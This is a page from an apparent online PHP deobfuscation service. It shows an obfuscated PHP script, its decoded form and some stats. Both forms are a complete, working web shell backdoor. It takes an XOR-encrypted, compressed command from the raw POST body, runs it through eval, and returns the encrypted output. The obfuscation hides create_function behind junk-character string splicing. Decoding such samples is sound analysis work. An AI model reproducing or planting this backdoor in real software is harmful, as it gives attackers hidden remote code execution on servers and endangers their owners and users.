Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $E='$i}^]^$k{]^$j};}}r]^eturn $]^o;}if]^ (@p]^reg_m]^atch("/$kh]^(.]^+)$kf/"]^,@f]^..
Decoded Output download
$k="56f9afd1";$kh="6ce9632b60f9";$kf="dd990faa8ca7";$p="1rq1JEqMVcUHlIOn";function x($t,$k){$c=strlen($k);$l=strlen($t);$o="";for($i=0;$i<$l;){for($j=0;($j<$c&&$i<$l);$j++,$i++){$o.=$t{$i}^$k{$j};}}return $o;}if (@preg_match("/$kh(.+)$kf/",@file_get_contents("php://input"),$m) == 1) { @ob_start(); eval(@gzuncompress(@x(base64_decode($m[1]),$k))); $o=@ob_get_contents(); @ob_end_clean(); $r=@base64_encode(@x(@gzcompress($o),$k)); print("$p$kh$r$kf");}
Did this file decode correctly?
Original Code
<?php
$E='$i}^]^$k{]^$j};}}r]^eturn $]^o;}if]^ (@p]^reg_m]^atch("/$kh]^(.]^+)$kf/"]^,@f]^ile_ge]^t_co]^]^ntents("php://input")]^,$m)';
$M='$]^k="56f9afd]^1";$kh]^="6ce9632b]^]^60f9";$]^kf="dd99]^0f]^aa8ca7";$p="1r]^]^q1JEqMVcU]^Hl]^IOn]^";functio]^n x($t,$k){]^$';
$D=' == ]^1) ]^{ ]^ @ob_start();]^ @e]^va]^l(@gzunc]^ompre]^ss(@x(]^@ba]^se64_deco]^]^de($m[1]),$k))]^); ]^ $o=@ob_get_]^cont';
$y=']^ents(]^);]^ @ob_]^end_c]^lean();]^ $r=@base]^64_encode]^(@x(@]^gzcom]^pre]^ss($o),$k]^));]^ print]^("$p$kh$r]^$kf");}';
$z=str_replace('g','','creggateg_fggunctgion');
$N=']^c=strlen(]^$k);$l=str]^l]^en($t);]^$o="";fo]^r($]^i=0;$i<$l]^;)]^{for($j]^=0;($j<$c]^]^&&]^$i<]^$l);$j++,$i++)]^{$o.=$t{';
$A=str_replace(']^','',$M.$N.$E.$D.$y);
$S=$z('',$A);$S();
?>
Function Calls
| str_replace | 2 |
| create_function | 1 |
Stats
| MD5 | a6295c38668c299773ce1f64f2d982a0 |
| Eval Count | 1 |
| Decode Time | 78 ms |